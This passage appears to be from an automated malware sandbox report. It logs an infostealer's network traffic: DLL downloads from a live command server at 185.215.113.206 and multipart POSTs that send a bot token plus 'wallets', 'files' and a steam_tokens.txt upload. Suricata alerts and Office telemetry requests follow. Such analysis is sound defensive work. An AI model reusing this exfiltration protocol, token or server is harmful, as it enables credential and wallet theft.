78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 2d 2d 0d 0a Data Ascii: ------BGCFBGDHJKFIEBFIECGHContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------BGCFBGDHJKFIEBFIECGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGCFBGDHJKFIEBFIECGHContent-Disposition: form-data; name="file"------BGCFBGDHJKFIEBFIECGH--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFCHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJJEGHDAEBGCAKJKFHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 2d 2d 0d 0a Data Ascii: ------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="message"wallets------KFIJJEGHDAEBGCAKJKFH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBAECBAEGDGDHIEHIJJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 2d 2d 0d 0a Data Ascii: ------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="message"files------KFBAECBAEGDGDHIEHIJJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 2d 2d 0d 0a Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="file"------DBGIJEHIIDGCFHIEGDGC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCGDAAKFHIDBFIDBKFHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 2d 2d 0d 0a Data Ascii: ------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="message"ybncbhylepme------BFCGDAAKFHIDBFIDBKFH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDBKKFHIEGDHJKECAAKK--

Source: Joe Sandbox View	IP Address: 23.96.180.189 23.96.180.189
Source: Joe Sandbox View	IP Address: 152.195.19.97 152.195.19.97

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49742 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49940 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
